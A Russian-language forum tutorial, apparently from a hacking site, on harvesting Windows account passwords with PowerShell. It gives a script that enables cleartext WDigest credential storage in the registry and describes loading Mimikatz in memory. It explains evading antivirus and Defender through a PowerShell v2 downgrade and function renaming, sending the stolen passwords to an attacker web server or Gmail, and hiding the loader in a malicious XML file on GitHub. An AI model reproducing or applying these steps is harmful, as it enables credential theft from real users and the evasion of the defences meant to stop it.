Доброго времени суток колеги. Сегодня мы с вами посмотрим как используя возможности PowerShell можно похитить логины и пароли учетных записей пользователей Windows систем и отправить их на почту или Web сервер.
Сегодня мы с вами с помощью PowerShell :
- Научимся изменять(создавать) и проверять наличие ключей реестра в Windows
- Обходить Антивирусы и WindowsDefender при подгрузке mimikatz в памяти(Invoke-Mimikatz)
- Отсылать пароли на:
- Веб сервер
- На почту
- Немного вспомним материал из прошлых статей.
Ссылка скрыта от гостей
(blog.gentilkiwi.com) Это программа используя уязвимость в WDigest.dll может получить логины и пароли в чистем виде.Но с появлением Windows 8.1 разработчики добавили некоторую защиту,пытаясь урезать функционал WDigest ,но потом в одном из своих обновлениях все-таки вернула функционал WDigest,так как он используется во многих продуктах(Например
Ссылка скрыта от гостей
) И возможность получить пароли в открытом виде существует и по сегодняшний день даже в Windows 10.Так вот первым нашим шагом будет включение возможности хранение в памяти LSA memory наших паролей в чистом виде(так как по умолчанию эта возможность выключена)
Делается это очень просто, нужно всего лишь создать ключ реестра с именем UseLogonCredential со значением 1 по следующему пути:
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)
Давайте научимся делать изменение в реестре с помощью PowerShell:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredential -Type DWORD -Value 1
Почему с помощью PowerShell? Все просто) Я буду размещать набор команд на PowerShell в отдельном файле(скрипте) где то на гитхабе , и одной командой буду просто подгружать этот скрипт)
Сперва в этот скрипте я сделаю маленькую проверку на наличие нужного мне ключа в реестре,и если его не будет - то он будет создаваться.
Код:
$Path="HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\"
$key = "UseLogonCredential"
Function Lsa_Hack
{
New-ItemProperty -Path $Path -Name $key -Type DWORD -Value 1
}
Function Test-RegistryValue($regkey, $name) {
$exists = Get-ItemProperty -Path "$regkey" -Name "$name" -ErrorAction SilentlyContinue
If (($exists -ne $null) -and ($exists.Length -ne 0)) {
Return $true
}
Return $false
}
if ((Test-RegistryValue $Path $key) -eq $false ) {Lsa_Hack}
Две функции:
Lsa_Hack - которая создает ключ нужный для включение хранение паролей в чистом виде
Test-RegistryValue - ф-я которая проверяет наличие ключа
Затем идет простейшее условие (если ключа нету то выполни функции Lsa_Hack)
Выглядит примерно так:
И так, с первым этапом думаю более менее понятно. Переходим к следующему шагу:
Обход антивируса и WinDefender:
После появление в свет программы Mimikatz все антивирусные команды начали жестко работать с его сигнатурами, и хранить эту программу локально на компьютере очень проблемно. В результате чего автор PowerSploit создал версию Mimikatz ,который загружается в оперативной памяти(не нужно скачивать его локально) Invoke-Mimikatz . Но в последнее время в PowerShell был встроен функционал который фильтрует такие подгрузки и распознает такие попытке как вредоносные:
Но проблема решаема. Достаточно запустить эту же команду в PowerShell меньшей версией,например вот в powershell -v 2 отработало нормально:
Второй способ - это просто заменить имена функций в скрипте и убрать секции комментариев и примеров в скрипте, и также разместить где то по другому адресу:
В этом примере я заменил имя функции Invoke-Mimikatz на Invoke-Codeby - и никто не поругался,все отлично отработало)
Здесь надеюсь все понятно)
Идем дальше:
Отправка результатов команды на Веб Сервер:
Сперва давайте посмотрим как отправит POST запросы с помощью PowerShell
В этом нам поможет готовый функционал командлета
Ссылка скрыта от гостей
Как видите все просто... Теперь в переменную можно положить результат команды Invoke-Codeby:
Как видим нам прилетело POST запросом логин и пароль учетной записи Windows.
Если мы хотим что бы данные записывались где то в текстовый файлик на нашем веб сервере можно сделать так:
Создать какой то скрипт на PHP который будет дампить пост запросы в текстовый файл:
В данном примере просто пишутся все данные которые передаются пост параметром hack:
Тут я думаю все понятно) Давайте теперь отправим результат команды на почту gmail:
По итогу я положил Invoke-Codeby.ps1 в отдельный скрипт на гитхабе и собрал все команды в один скрипт:
Теперь немного вспомним мою прошлую статью и создадим вредоносную XML для незаметной подргрузки(Разместим где то на гитхабе к примеру):
И получаем тот же результат:
Всем спасибо)) Продолжение следует...
Последнее редактирование: